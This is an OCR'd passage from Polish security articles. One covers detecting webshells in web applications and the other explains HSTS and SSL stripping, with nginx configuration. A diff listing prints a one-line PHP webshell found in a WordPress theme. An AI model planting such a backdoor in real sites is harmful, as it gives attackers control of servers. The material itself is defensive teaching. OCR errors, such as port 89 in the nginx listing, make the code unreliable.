kodu lub polecenia systemowego - z pewnoscia taka lista nie ogranicza sie tylko
o podstawowych funkgji exec czy system. O tym, jak wiele mozliwosci ma atakuja-
cy, mozna dowiedziec sie takze z tekstow na sekuraku:

» https://sekurak.pl/backdoory-w-aplikacjach-php/

Kwestie weryfikacji plikow poprzez przeszukiwanie na podstawie listy wzorcoéw dodat-

kowo komplikuje fakt, ze sposoby wykonania kodu mozna podzieli¢ na dwie kategorie:

» Bezposrednie - gdy kod uruchomiany jest bezposrednio z wgranego przez ata-
kujacego pliku, np. przy pomocy funkgcji eval,

» Posrednie — gdy wgrany przez atakujacego plik zawiera jedynie funkcje, ktéra
pozwoli na zatadowanie wtasciwego payloadu z innego miejsca. Moze to by¢
np. funkcja include jezyka PHP, ktéra jako parametr przyjmowac bedzie Sciezke
do pliku graficznego zawierajacego wihasciwg czes¢ exploita. Co wazne, kod kto-
rego zadaniem bedzie faktyczne wykonywanie ztosliwych akcji, moze wcale nie
by¢ osadzony na state na serwerze - istniejg metody, by tymczasowo dotaczac
go np. z logéw, zmiennych lokalnych lub okreslonych nagtéwkéw HTTP, a kazda
z aplikacji moze udostepniac inny sposob na przemycenie tego typu kodu.

Wymieniony podziat, to do$¢ powazna komplikacja - uwzglednienie na liscie filtrow
chociazby funkcji include wihasciwie réwnatoby sie z przeprowadzeniem petnego
przegladu kodu przez administratora.

W tym miejscu mozna rowniez wysnuc wniosek, ze sposoby wyszukiwania we-
bshelli, polegajace na skanowaniu skryptéw pod katem okreslonych wzorcéw,
a dodatkowo ograniczajace zakres tylko do plikéw o standardowych rozszerzeniach
(.PHP, .JSP, .ASP), moga by¢ obarczone wysokim wspétczynnikiem nieskutecznosci.

Jednym z elementéw, ktéry mozna wykorzysta¢ w wyszukiwaniu podejrzanych
plikdw, jest weryfikacja dtugosci linii. Oczywiscie, nie jest to czynnik determinujacy
wykrycie webshella, jednak moze postuzy¢ jako jedna z sktadowych.

W przypadku przeszukiwaniu plikdéw pod katem wybranych, podejrzanych wzor-
cOdw nie mozna zapomniec o réznego typu logach generowanych przez sam serwer jak
i uruchomione na nim aplikacje. Réwniez te miejsca warto zweryfikowac pod katem
wystepowania w nich ciggéw znakéw mogacych swiadczy¢ o potencjalnym wtamaniu.
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GDY WSZYSTKO ZAWODZI

Ciekawym podejsciem pozwalajacym na wykrycie atakow, ktérych skutkiem nie
jest tworzenie nowych plikéw, ale modyfikacja juz istniejgcych, jest wykorzystanie
oprogramowania pozwalajgcego na analize réznic w plikach. Mowa tutaj np. o kla-
sycznym programie diff. W takim przypadku, niezbedne bedzie wykorzystanie
dwoch zestawow danych. Pierwszy z nich stanowi¢ bedzie kod badanej przez nas
aplikacji. Drugi zestaw, to zaufana kopia oryginalnej wersji oprogramowania. Wyko-
nujac analize réznic tych dwoch zbiordw mozemy znacznie zawezic¢ zakres plikow
wymagajacych ewentualnej doktadnej analizy (Listing nr. 6).

Listing 6. Przyktad wykorzystania narzedzia diff to wykrywania webshelli.

art@kali:~$ file wordpress_investigation/

wordpress_investigation/: directory

art@kali:~$ wget --quiet https://wordpress.org/latest.zip

art@kali:~$ unzip -q latest.zip

art@kali:~$ file wordpress/

wordpress/: directory

art@kali:~$ diff -qr wordpress/ wordpress_investigation/

Only in wordpress_investigation/wp-content/plugins/akismet: c99.php
Files wordpress/wp-content/themes/twentyfifteen/index.php and wordpress_
investigation/wp-content/themes/twentyfifteen/index.php differ
art@kali:~$ tail -1 wordpress_investigation/wp-content/themes/twentyfifteen/
index.php

<?php echo “$_GET[@] ; ?>

art@kali:~$

Nalezy jasno zaznaczy¢, ze takie podejscie moze wspomaoc weryfikacje oryginalnych
plikéw aplikacji, ale zarazem moze zwréci¢ nadmiarowe informacje w przypadku,
gdy do aplikacji wgrywane jest wiele plikow.

Bardzo dobrym podejsciem, wykorzystywanym od pewneg czasu, jest wspoma-
ganie prac systemami kontroli wersji (Git, SVN). Nalezy jednak pamieta¢ o tym, czy
repozytorium kodu mozemy traktowac jako zaufane zrédto informacji, ktére same
nie zostato zainfekowane.

WNIOSKI ORAZ PRZECIWDZIAEANIE

Jezeli nasze Srodowiska utrzymuja duzg ilos¢ oprogramowania, do ktérego
dodatkowo nie mamy wgladu, np. ze wzgledu na kwestie licencyjne lub umowy
z klientami, czasem zagrozenie mozna wykry¢ poprzez analize anomalii, jakie w tym
srodowisku moga wystapi¢, a nad ktérymi mozemy miec juz pewnga kontrole. Kla-
sycznym przyktadem swiadczacym o mozliwosci uzyskania nieautoryzowanego

Webshells — wykrywanie tylnych furtek w aplikacjach WWW

dostepu do serwera, jest szybciej zapetniajaca sie kolejka wiadomosci email ocze-

kujacych na wysytke. W takim przypadku, mozna rozwazy¢ wdrozenie naktadki

na standardowe pliki binarne, ktére beda gromadzity statystyki wysytanych maili

i odpowiednio reagowaty na odchylenia od standardu.

Administratorzy systemow wspétdzielonych czesto wykorzystujg oprogramo-
wanie, moniturujace zmiany w systemie — w tym, w systemie plikéw — oraz na pod-
stawie zdefiniowanych regut, podejmuje odpowiednie kroki. Najpopularniejszym
z nich, jest powiadomienie administratora o wykryciu zmian w plikach aplikacji lub
plikach konfiguracyjnych ustug — zmiany tego typu moga $wiadczy¢ o uzyskaniu
nieautoryzowanego dostepu do serwera. Wérod oprogramowania, ktére realizuje
wymienione zdania, nalezy wymieni¢ m.in.:

» Tripwire — system weryfikacji integralnosci plikdw dostepny zarbwno w wersji
Open Source, jak i w edycjach komercyjnych,

» AIDE - rozbudowane i darmowe rozwigzanie realizujgce podobne zadania co
Tripwire, dzieki czemu pozwala na monitorowanie zmian w systemie w czasie
rzeczywistym,

» Auditd - jedno z ciekawszych i wartych polecenia rozwigzan monitorujacych za-
chowanie systeméw Linux.

Zastosowanie i implementacja ostatniego z zaproponowanych rozwigzan zostata

szczegbtowo omoéwiona na tamach portalu Sekurak:

» https://sekurak.pl/monitoring-bezpieczenstwa-linux-integracja-auditd-ossec-
czesc-i/

» https://sekurak.pl/monitoring-bezpieczenstwa-linux-integracja-auditd-ossec-
cz-ii/

Nieoceniony w ochronie przed wgrywaniem webshelli, moze by¢ popularny
ModSecurity, ktéry rowniez zostat szczegdtowo opisany w ramach zasobéw dostep-
nych na sekurak.pl:

» https://sekurak.pl/ochrona-podatnych-aplikacji-webowych-za-pomoca-
wirtualnych-poprawek-w-modsecurity/

» https://sekurak.pl/owasp-wypuszcza-core-rule-set-v3-do-darmowego-
firewalla-aplikacyjnego-modsecurity/

W przypadku implementacji mechanizmdéw monitoringu i powiadamiania o po-
dejrzanych zdarzeniach, réwnie waznym co sama jego implementacja, jest weryfi-
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kacja dziatania takiego mechanizmu. Po zakonczonym wdrozeniu, nalezy przetesto-
wac dziatanie systemu. W tym celu, na srodowisku testowym mozna ,zainfekowac”
aplikacje chociazby przy pomocy jednego z webshelli wykorzystywanych jako ze-
staw testowy, przy weryfikacji narzedzie automatycznych.

Warto réwniez by¢ proaktywnym i na biezaco $ledzi¢ r6znego typu listy z exploitami:
» https://www.exploit-db.com/
» https://cxsecurity.com/
» http://www.securityfocus.com/

Jezeli jako zalecenie proponuje sie monitorowanie informacji o pojawiajacych sie
w sieci publicznie dostepnych exploitach, waznym wnioskiem moze by¢ podjecie
odpowiednich dziatarh majacych na celu odpowiednio szybkie reagowanie na tego
typu incydenty. Jedng z mozliwych do wykorzystania technik, jest pilne instalowa-
nie aktualizacji, przez producenta danego oprogramowania. Niekiedy proponuje
sie wrecz wtgczenie mechanizmoéw automatycznej aktualizacji, ktére okresowo we-
ryfikujg dostepnos¢ aktualizacji i w razie potrzeby - instaluja je. Sprawa jednak nie
jest zero-jedynkowa, nie kazdy moze sobie pozwoli¢ na wgrywanie najnowszych,
dostepnych paczek oprogramowania bez weryfikacji, czy zmiana nie zagraza do-
stepnosci catego srodowiska produkcyjnego.

TRENING

Po przyswojeniu wiedzy teoretycznej, zawsze warto zweryfikowac jg w prakty-
ce. W tym celu, mozna pobrac¢ archiwum ZIP, ktére zawiera zainfekowang witryne
WWW. Instancje udostepnit nam pewien wiasciciel sklepu rowerowego, ktéry juz
jakis czas temu postanowit rozszerzy¢ marketing swojego sklepu witasnie o urucho-
mienie firmowej witryny. Niestety, w ferworze codziennych obowigzkéw, zdazyt tyl-
ko dokonczy¢ proces instalacji instancji WordPress, a nastepnie zapomniat o catej
sprawie. Po kilku dniach, odebrat wiadomos¢ email od dostawcy ustug hostingo-
wych. Jego konto zostato zablokowane ze wzgledu na przekroczone limity obcia-
zenia serwera. ZostaliSmy poproszeni o to, by zweryfikowac¢ czy w plikach serwisu
znajduje sie jakie$ niepozadane oprogramowanie.

PODSUMOWANIE
Wgranie skryptu webshella, jest jednym z pierwszych krokéw jaki podejmuje
atakujacy, po wykryciu luki w zabezpieczeniach testowanej aplikacji. Wykrycie ta-

Webshells — wykrywanie tylnych furtek w aplikacjach WWW

kiego skryptu, powinno by¢ wystarczajacag motywacja do tego, by doktadnie zwe-
ryfikowac¢ bezpieczenstwo udostepnianej aplikacji. Oprécz doraznego usuniecia
zagrozenia, nalezy réwniez podja¢ okreslone kroki, ktére beda miaty na celu zapo-
biec ponownej mozliwosci przejecia kontroli nad serwerem, lub przynajmniej méc
zareagowac na taki incydent w mozliwie krotkim czasie.

Marcin Piosek. Analityk bezpieczenstwa IT, realizuje audyty bezpieczeristwa
oraz testy penetracyjne w firmie Securitum.
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HTTP Strict Transport Security (HSTS)
w praktyce, czyli zmuszamy przegladarke
do stosowania bezpiecznych potaczen

Czy Twoja strona jest dobrze zabezpieczona? Stosowanie protokotu HTTPS
nie zawsze wystarcza, czasem trzeba posuna¢ sie jeszcze krok dale;.
Czym jest nagtéwek HTTP Strict Transport Security i kiedy go stosowac?
Co moze p6js¢ nie tak, podczas jego wdrozenia? Czy po jego wprowadze-
niu Twoja strona jest juz w 100% bezpieczna? Niniejszy artykut opisuje
wszystko, co zawsze chcieliscie wiedzieé o HSTS, ale baliscie sie zapytac.
W trakcie wyprawy do krainy bezpieczenstwa, zabezpieczymy serwer
NGINX, ale zdobyta wiedza bedzie przydatna dla kazdego programisty.

WPROWADZENIE

Wyobraz sobie, ze siedzisz na lotnisku i czekasz na samolot, ktory zabierze Cie na
wymarzone wakacje. W ostatniej chwili przypomina Ci sie, ze zapomniates zaptacic
rachunku za prad. Wyciggasz z bagazu podrecznego swojego laptopa, wtgczasz go,
znajdujesz darmowy hotspot i juz po chwili masz przed soba puste okno przegla-
darki. W pospiechu wybierasz zaktadke ,Bank” i w pasku adresu pojawia sie www.
mojbank.pl. Po chwili patrzysz juz na znajoma strone logowania. Podajesz numer
klienta, wpisujesz hasto i klikasz przycisk ,Zaloguj sie”. Przez utamek sekundy dzi-
wi Cie brak ikony z ktédka w pasku adresu, ktora zawsze sie tam pojawia, ale nie
poswiecasz temu w pospiechu zbyt wiele uwagi. Po udanym logowaniu, w oknie
przegladarki pojawia sie znana strona banku, na ktérej zlecasz przelew. Nastepnie
wylogowujesz sie, wytaczasz laptopa i w ostatniej chwili wsiadasz do samolotu.

Niestety, siedzacy nieopodal mezczyzna z laptopem, wtasnie stat sie posiada-
czem Twojego numeru klienta i hasta do strony www.mojbank.pl. Jak to mozliwe?

Przesledzmy najpierw jak powinno wygladac¢ potfaczenie ze strong banku a na-
stepnie poréwnajmy to z tym, co tak naprawde stato sie na lotnisku.

Normalny przebieg zdarzen

Kiedy w pasku adresu przegladarki pojawia sie adres www.mojbank.pl, wysyta
ona zapytanie do serwera DNS, z prosbg o znalezienie numeru IP serwera WWW ban-
ku. Nastepnie, przegladarka wysyta pod ten adres zadanie HTTP GET. Ze wzgledu na

HTTP Strict Transport Security (HSTS) w praktyce. ..

to, ze URL www.mojbank.pl nie zawiera jawnie podanego protokotu, przegladarka
domyslnie wybiera protokot HTTP. Kiedy serwer odbiera to zadanie, decyduje, ze
potaczenie z klientem powinno by¢ szyfrowane. Zamiast odesta¢ odpowiedz HTTP
200 OK wraz z trescia strony, serwer odsyta odpowiedz HTTP 301 Moved Permanen-
tly i w nagtéwku Location wskazuje adres https://www.mojbank.pl. W tym momen-
cie, przegladarka podejmuje decyzje o ponownym wystaniu zagdania HTTP GET, tym
razem korzystajac z protokotu HTTPS. Od tego momentu, komunikacja pomiedzy
przegladarka a serwerem WWW banku jest szyfrowana. Numer klienta i hasto wysy-
tane podczas logowania sg bezpieczne. Ten scenariusz zdarzen obrazuje Rysunek 1.

DNS

A
www.mojbank.pl 193.39.179.56

HTTP GET/

HTTP 301 Moved Permanently
Location: https://www.mojbank.pl

A

193.39.179.56

Twoj laptop HTTP GET/ www.mojbank.pl

|

HTTP 200 OK

A

=
Q

!

A

Hotspot

Rysunek 1. Normalny przebieg potqczenia z bankiem
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Atak

Tak samo, jak w poprzednim scenariuszu, przegladarka wysyta zapytanie do ser-
wera DNS, z prosba o znalezienie numeru IP serwera WWW banku. W tym momen-
cie do akcji wkracza mezczyzna z laptopem. W pospiechu przed odlotem samolotu,
podtaczytes sie do pierwszego dostepnego darmowego hotspota na lotnisku. Nie-
stety, role hotspota petni laptop atakujgcego, ktéry modyfikuje odpowiedz serwe-
ra DNS i zwraca numer IP kontrolowanego przez siebie serwera. Przeglagdarka po-
nownie wysyta zagdanie HTTP GET, korzystajac z nieszyfrowanego potaczenia HTTP,
tym razem do wrogiego serwera. Zasada dziatania tego wrogiego serwera jest dos¢
prosta i przypomina serwer proxy - przyjmuje on nieszyfrowane zgdanie HTTP
i przekazuje je dalej do docelowego serwera, korzystajac z szyfrowanego protoko-
tu HTTPS. W ten sposdéb, uzytkownik nieSwiadomy zagrozenia, korzysta ze strony
banku, natomiast atakujgcy moze dowolnie podglada¢, lub modyfikowaé dane wy-
sytane i odbierane przez przegladarke uzytkownika, wtaczajac w to numer klienta
i hasto. Serwer banku nie ma szansy zorientowac sie, ze jego klient padt ofiara ataku,
poniewaz z jego punktu widzenia komunikuje sie on, korzystajac z szyfrowanego
protokotu HTTPS. Ten scenariusz zdarzen obrazuje Rysunek 2.

BEZPIECZENSTWO HTTP W WARSTWIE TRANSPORTOWE]

Protokot HTTP moze uzywac roznych protokotdéw warstwy transportowej. W
praktyce jednak, dominujacym rozwigzaniem jest TCP/IP, ktéry sam z siebie nie do-
starcza zadnych gwarancji bezpieczenstwa, pozwalajacych bronic sie przed pasyw-
nymi i aktywnymi atakami w warstwie transportowej. Szczegdlnie niebezpieczne
i relatywnie tatwe do przeprowadzenia, sg ataki typu Man-in-the-Middle (MITM),
w ktérych haker podszywa sie pod prawdziwy serwer i jest w stanie zaréwno pod-
gladac (atak pasywny) jak i modyfikowac¢ (atak aktywny) zadania i odpowiedzi HTTP,
wymieniane pomiedzy przegladarka a serwerem.

Typowym rozwigzaniem tego problemu, jest zastosowanie bezpieczniejszego
protokotu warstwy transportowej, ktéry dostarcza gwarancji poufnosci, integral-
nosci i autentycznosci w kanale komunikacyjnym. Dominujacym na rynku rozwigza-
niem tego typu, jest protokot TLS i jego poprzednik SSL. Protokdt HTTP korzystajacy z tak
zabezpieczonego kanatu komunikacyjnego, jest zazwyczaj oznaczany skrétem HTTPS.

Obowigzek nawigzania potaczenia korzystajacego z HTTPS lezy po stronie przegla-
darki.W przypadku jakiegokolwiek problemu z nawigzaniem bezpiecznego potaczenia,
na przyktad na skutek btedu weryfikacji certyfikatu serwera, najczesciej przegladarka

HTTP Strict Transport Security (HSTS) w praktyce. ..

Fatszywy DNS

A
www.mojbank.pl 192.168.0.10

<%

HTTP GET/

192.168.0.10
HTTP 200 OK Proxy atakujacega

\
: HTTP GET/ HTTP 200 OK

Twoj laptop

A

193.39.179.56

Laptop atakujacego www.mojbank.pl

Rysunek 2. Atak Man-in-the-Middle

daje uzytkownikowi mozliwos¢ dalszego korzystania ze strony WWW, pomimo braku
gwarancji bezpieczenstwa, ktérg powinno zapewnic zastosowanie protokotu TLS.
Jezeli bezpieczenstwo komunikacji zalezy od klienta, to, co mozemy zrobi¢ po
stronie serwera, zeby poprawic¢ bezpieczenstwo korzystania z naszej strony? Pod-
stawowym krokiem, ktéry nalezy wykona¢, jest przekierowanie wszystkich zadan
HTTP na HTTPS. Tak jak w naszym przyktadzie z atakiem na lotnisku, mozna to zre-
alizowac poprzez odpowiedz HTTP 301 Moved Permanently, na wszelkie zadania
przestane w niezabezpieczonym kanale komunikacyjnym, opartym o protokét
TCP/IP. W reakcji na odpowiedz HTTP 301, przegladarka ponownie wysyta oryginal-
ne zadanie HTTP GET pod adres wskazany w nagtéwku Location odpowiedzi HTTP
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36

301. Jezeli adres ten jawnie podaje protokét HTTPS, to zagdanie zostanie wystane
z wykorzystaniem potaczenia TLS.

NAGEOWEK HSTS

Atak przeprowadzony na lotnisku ma swoja fachowa nazwe: SSL stripping. Pomi-
Mo wymuszenia stosowania szyfrowanego pofaczenia HTTPS przez serwer, atakuja-
cemu udato sie oszukac klienta i podejrze¢ wysytane przez niego wrazliwe dane. Nie
jest to jedyny atak, ktéry pozwala zmusic klienta do korzystania z nieszyfrowanego
potaczenia wbrew woli serwera. Atakujacy moze osiggnac podobny efekt, uzywa-
jac fatszywego certyfikatu dla swojego wrogiego serwera proxy i prébujac naktoni¢
uzytkownika do zaufania temu certyfikatowi.

Mégtbys uniknac problemu, gdyby w Twojej zaktadce zapisany byt adres z jaw-
nie podanym protokotem HTTPS: https://www.mojbank.pl. Czy twérca strony WWW
banku mégtby wymusi¢ na przegladarce stosowanie szyfrowanego potaczenia juz
od pierwszego zagdania? Rozwigzaniem tego problemu jest zastosowanie nagtéwka
HTTP Strict Transport Security (HSTS).

Nagtowki HTTP

Nagtéwek HTTP to dodatkowe pole, ktére moze by¢ zawarte w zadaniu lub od-
powiedzi HTTP. Takie pola pozwalajg na przekazanie dodatkowych informacji na
temat zasobu, klienta lub serwera. Szczegdlnie interesujgcym zastosowaniem na-
gtowkoéw, jest przesytanie przegladarce przez serwer dodatkowych polecen, kto-
re regulujg sposéb komunikacji z danym hostem. Pozwala to na sterowanie praca
przegladarki w sposoéb inny, niz tylko poprzez kody odpowiedzi HTTP. Nalezy przy
tym pamietac, ze nie wszystkie przegladarki na rynku maja wsparcie dla wszystkich
zdefiniowanych nagtéwkoéw. Jezeli przegladarka odbierze odpowiedz z nagtéw-
kiem, ktérego nie wspiera, to po prostu go zignoruje i zachowa sie tak, jakby tego
nagtéwka w odpowiedzi w ogole nie byto.

Nagtowek Strict Transport Security
Zastosowanie nagtéwka Strict Transport Security w odpowiedzi od danego ho-
sta (serwera) spowoduje, ze przegladarka jest zobowigzana do zmiany swojego za-
chowania tak, zeby spetni¢ dwa warunki:
1. Wszelkie dalsze zadania HTTP kierowane do danego hosta, sg automatycznie za-
mieniane na zadania HTTPS.

HTTP Strict Transport Security (HSTS) w praktyce...

2. Wszelkie btedy podczas nawigzywania potaczenia TLS, powodujg bezwarunkowe
(tj. bez mozliwosci ingerencji uzytkownika w ten proces) zerwanie pofaczenia.

Kiedy przegladarka odbiera nagtéwek HSTS od serwera, od tego momentu zaczyna
stosowac w komunikacji z tym serwerem, wytgcznie protokét HTTPS. Jest to doskona-
ta metoda, rozwigzujgca problem, ktéry umozliwit atak na lotnisku. Gdybys wczesniej
byt na stronie banku i Twoja przegladarka odebrataby od serwera banku nagtéwek
HSTS, to w ogdle nie nastgpitaby proba wystania zagdania HTTP po niezabezpieczo-
nym potaczeniu TCP/IP, ktére stato sie poczatkiem Twoich ktopotéw. Przeglagdarka od
razu zamienitaby to zadanie na HTTPS i przystapita do zestawienia potaczenia TLS.

Dziatanie nagtéwka HSTS dotyczy catej domeny hosta, od ktérego zostat ode-
brany ten nagtéwek. Powoduje to, ze pojedyncza odpowiedz z nagtéwkiem HSTS
zabezpiecza catg aplikacje i wymusza tadowanie wszelkich zasoboéw, takich jak ob-
razki, arkusze CSS i skrypty JavaScript, za pomoca protokotu HTTPS. Jest to istotna
cecha tego mechanizmu, poniewaz pojedynczy zaséb potrzebny do wyswietlenia
danej strony WWW (np. skrypt JavaScript), mégtby zniweczy¢ wysitek wtozony we
wdrozenie HTTPS na catej witrynie.

Serwer powinien odesta¢ nagtéwek jedynie wtedy, kiedy przegladarka przystata
zadanie korzystajac z protokotu HTTPS. Gdyby serwer odestat taka odpowiedz za
pomocg niezabezpieczonego protokotu HTTP, narazitby sie na modyfikacje swojej
odpowiedzi podczas ataku typu MITM i usuniecie z niej nagtéwka HSTS. Nie zwiek-
szytoby to w zaden sposdb bezpieczenstwa catego rozwigzania.

Format i parametry nagtowka
Nagtéwek HSTS moze zawierac trzy dyrektywy, ktére kontrolujg jego zachowanie:

Strict-Transport-Security: max-age=31536000 [; includeSubDomains] [; preload]

Dyrektywa max-age jest obowigzkowa i wyznacza liczbe sekund, przez ktoére dzia-
tanie nagtéwka HSTS powinno obowiazywad. Sekundy sg liczone od momentu ode-
brania nagtéwka przez przegladarke. Czas ten musi by¢ liczony od nowa, wraz z kaz-
dym odebranym nagtéwkiem. Serwer moze rowniez uzy¢ dyrektywy max-age do
wytaczenia dziatania HSTS dla danego hosta. Wystarczy, ze odesle nagtéwek z war-
toscia dyrektywy max-age=0. Po wdrozeniu HTTPS i HSTS na danej stronie WWW,
jest to jedyna droga powrotu do niezabezpieczonego protokotu HTTP.
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Pozostate dyrektywy sg opcjonalne. Pierwsza z nich, includeSubDomains,
oznacza, ze protokdét HTTPS powinien by¢ stosowany dla kazdej z subdomen hosta,
ktéry odestat odpowiedz. Dyrektywa preload bedzie omoéwiona w dalszej czesci
artykutu.

Obstuga HSTS w przeglgdarce

Przegladarki powinny przechowywaé¢ w wewnetrznej bazie danych informa-
cje o ostatnim odebranym nagtéwku HSTS dla kazdego hosta, ktory kiedykolwiek
taki nagtéwek odestat. Oczywiscie, po uptywie czasu wskazanego w dyrektywie
max-age, wpis dla danego hosta powinien zosta¢ usuniety. Modyfikacje wpiséw
w bazie danych powinny nastepowac jedynie podczas przetwarzania nagtéwkow
odebranych od serwera.

Niektore przegladarkiinternetowe dajg uzytkownikom dostep do wewnetrznych
wpisow HSTS. Na przyktad, przegladarka Chrome pozwala dodawa¢, usuwac i wy-
szukiwac wpisy. Pod wewnetrznym adresem chrome://net-internals/#hsts
mozna skorzysta¢ z widocznych na Rysunku 3 funkgji.

Przed czym nie obroni nas HSTS?

Nagtowek HSTS jest bardzo pomocny w rozwigzaniu kilku waznych probleméw ne-
kajacych aplikacje webowe. Niemniej jednak, nie jest to mechanizm uniwersalny i nie
chroni przed kazdym rodzajem phishingu. Atakujacy mégtby nadal sprébowac oszu-
kac Cie i przekierowac na kontrolowang przez siebie strone https://www.moj-bank.pl
(zauwaz dodatkowy myslnik w $rodku adresu), dla ktérej ma on wazny i poprawny
certyfikat. Mogtby sprébowac zrobi¢ to, np. wysytajac Ci taki adres w odpowiednio
spreparowanym e-mailu.

Gwarancja bezpieczenstwa mechanizmu HSTS, opiera sie na zaufaniu do prze-
gladarki uzytkownika. Jezeli komputer lub przegladarka zostaty zainfekowane przez
oprogramowanie typu malware, to taka skompromitowana przegladarka moze na-
dal wysyta¢ zadania, korzystajac z niezabezpieczonego protokotu HTTP, pomimo
wczesniejszego odebrania nagtéwka HSTS od serwera.

HSTS W SERWERZE NGINX

Strona banku, na ktérg prébowates sie zalogowac na lotnisku zostata zaimple-
mentowana jako aplikacja ukryta za reverse proxy, opartym o serwer NGINX. Jak
w takiej aplikacji wdrozy¢ nagtéwek HSTS?

HTTP Strict Transport Security (HSTS) w praktyce...

capturing events (13832)

HS5TS is HTTPS Strict Transport Security: a way for sites to elect to always use HTTPS, See http://dev.chromium.org/sts.

Add domain

Input & domain name to add it to the HSTS set:

Domain:

Include subdomains for 5T5:
Include subdomains for PKP:
Public key fingerprints:

{public key fingerprints are comma separated and consist of the hash function followed by a foreslash and the

base64 encoded fingerprint, for example shal/GuzekSLMwR3KeIS8wuSIgBViEIg=)

Add
Delete domain

Input & domain name to delete it from the HSTS set (you cannot delete preloaded entries):

Domain: Delete

Query domain

Input & domain name to query the current HSTS set:

Domain: Query

Rysunek 3. Zarzqdzanie wpisami HSTS w Chrome

Konfiguracja przekierowania

Pierwszym krokiem, jest przekierowanie zagdarh HTTP na HTTPS. Obstuga prze-
kierowan opartych o kod HTTP 301, jest wbudowana w serwer NGINX i wymaga od-
powiedniej konfiguracji bloku server, odpowiedzialnego za potaczenia na porcie
80. Listing 1 przedstawia niezbedne wpisy.

Listing 1. Konfiguracja przekierowania HTTP na HTTPS

server {
listen 89;
server_name mojbank.pl;
return 301 https://$server_name$request_uri;

}
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Konfiguracja nagtowka HSTS

Drugim krokiem, jest dotgczenie samego nagtéwka HSTS. Réwniez ta funkcjonal-
nosc¢ jest wbudowana w serwer NGINX. Tutaj z kolei, wymagana jest odpowiednia
konfiguracja sekcji server, odpowiedzialnej za potaczenia na porcie 443. Listing 2
przedstawia wpis w pliku nginx.conf, ktéry wiacza nagtéwek HSTS dla wszystkich
subdomen, z okresem waznosci wynoszacym 5 minut:

Listing 2. Konfiguracja nagtéwka HSTS

server {
listen 443 ssl;
server_name mojbank.pl;
add_header Strict-Transport-Security "max-age=300; includeSubDomains" always;

# Ustawienia protokoiu TLS
# ...

}

Warto zwréci¢ uwage na atrybut always. Ustawienie wartosci tego atrybutu po-
woduje, ze nagtéwek HSTS bedzie dodany do kazdej odpowiedzi, nie tylko tych
zgrupy HTTP 20x.

OGRANICZENIA

Niestety, pomimo ogdlnej przydatnosci nagtéwka HSTS, nie jest to mechanizm
doskonaty i ma pewne stabosci, z ktérych warto zdawac sobie sprawe. Najpowaz-
niejszym z nich jest zasada Trust on First Use, znana takze pod akronimem TOFU.

TOFU

Reguty sterujace zestawianiem bezpiecznego potaczenia do strony WWW, ktora
odsyta nagtéwek HSTS, zaczynajg obowigzywa¢ w momencie odebrania pierwsze-
go nagtéwka. Jezeli pierwsza interakcja uzytkownika ze strong nastgpita z wykorzy-
staniem protokotu HTTPS, uzytkownik skrupulatnie zweryfikowat certyfikat serwera
i nie zignorowat zadnego btedu podczas zestawiania potaczenia TLS, to nie ma sie
o co martwic. Nagtéwek odestany przez serwer, bezpiecznie trafit do przegladarki,
ktéra od tej pory bedzie zawsze kontaktowac sie z hostem w sposob bezpieczny.

Jezeli jednak pierwsze pofaczenie do serwera zostato przez uzytkownika wyko-
nane za pomocg hiezabezpieczonego protokotu HTTP, to pierwsze potaczenie jest
okazjq dla atakujacego do przechwycenia pofaczenia i potencjalnej blokady odsyta-
nego nagtéwka HSTS. Czy mozna sie przed takim atakiem obronic?

HTTP Strict Transport Security (HSTS) w praktyce...

Preloading

Pewnym sposobem obrony przed tego typu atakiem podczas pierwszego po-
taczenia, jest tzw. preloading, ktéry polega na umieszczeniu listy hostow stosu-
jacych nagtowek HSTS w samej przegladarce internetowej przez jej producen-
ta. Obecnie, mechanizm ten jest wdrozony w przegladarce Chrome. Na stronie
https://hstspreload.appspot.com mozna wystapic¢ o dodanie swojej strony WWW
do listy i w ten sposéb zapewni¢, ze kazde potaczenie do naszego serwera wyko-
nywane przez przegladarke Chrome, bedzie korzystato z protokotu HTTPS. Z tej
samej listy hostow korzystajg od niedawna takze inne przegladarki, m.in. Firefox,
Safari, IE 11 oraz Edge.

Dotaczanie hostow do listy preload jest procesem recznym i wymaga od wiasci-
ciela serwera spetnienia szeregu warunkéw, opisanych na powyzszej stronie. Jed-
nym z takich warunkéw, jest dofaczanie przez serwer dyrektyw includeSubDo-
mains oraz preload do nagtéwka HSTS.

Mechanizm ten rozwigzuje problem TOFU, ale niestety i on nie jest doskonaty.
Skalowalnos¢ preloadingu jest mocno ograniczona. Trudno sobie wyobrazi¢, zeby
kazda przegladarka zawierata zagniezdzong w sobie liste milionéw serweréw sto-
sujgcych HSTS. Reczny charakter procesu dodawania hostéw do listy preload, po-
woduje natomiast, ze okres pomiedzy dodaniem serwera do listy, a wymuszeniem
stosowania HTTPS dla naszego hosta przez przegladarke uzytkownika, nalezy liczy¢
w miesigcach.

Wygasniecie czasu dzialania nagtowka

Kolejng staboscig mechanizmu HSTS, jest jego zaleznos¢ od czasu. Manipulacja
czasem systemowym pozwala atakujagcemu wymusi¢ wygasniecie czasu dziatania
nagtowka HSTS, podanego w dyrektywie max-age. Jezeli hakerowi udatoby sie
przestawic¢ czas komputera uzytkownika w taki sposéb, ze przegladarka uznataby
nagtéwek HSTS za przedawniony, to wowczas droga do ataku typu SSL stripping by-
taby otwarta.

Czy atakujacy moze przestawic¢ czas na komputerze uzytkownika? Okazuje sie,
ze wiodace systemy operacyjne (Ubuntu Linux, Mac OS X, Microsoft Windows), do
synchronizacji czasu wykorzystuja niezabezpieczong wersje protokotu Network
Time Protocol (NTP). Zdeterminowany haker moze przypuscic¢ atak typu MITM na
serwer NTP, wykorzystywany przez system operacyjny uzytkownika i poprzez mani-
pulacje pakietow NTP, doprowadzi¢ do wygasniecia nagtowkoéw HSTS.
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HSTS jako narzedzie ataku

Nagtowek HSTS zostat pomyslany jako mechanizm obronny, ktéry ma pomoc
w zabezpieczeniu aplikacji dziatajgcych w oparciu o protokoty HTTP i HTTPS, przed
pewna klasg atakéw. W okreslonych sytuacjach moze on jednak postuzy¢ jako na-
rzedzie ataku typu Denial of Service (DoS). Jezeli istnieje czes¢ aplikacji, w ktérej nie
wdrozono jeszcze protokotu HTTPS i dziata ona nadal w oparciu o niezabezpieczony
protokot HTTP, to wymuszenie nagtdwka HSTS w tej czesci aplikacji spowoduje, ze
bedzie ona nieosiggalna dla uzytkownikoéw. Przegladarka bedzie prébowata zesta-
wic pofaczenie TLS z niezabezpieczong czescia aplikacji, co spowoduje btad pod-
czas wysytania zadania HTTP i w konsekwencji niedostepnos¢ danego zasobu.

Scenariusz takiego ataku moze opierac sie na podszyciu sie hakera pod nieza-
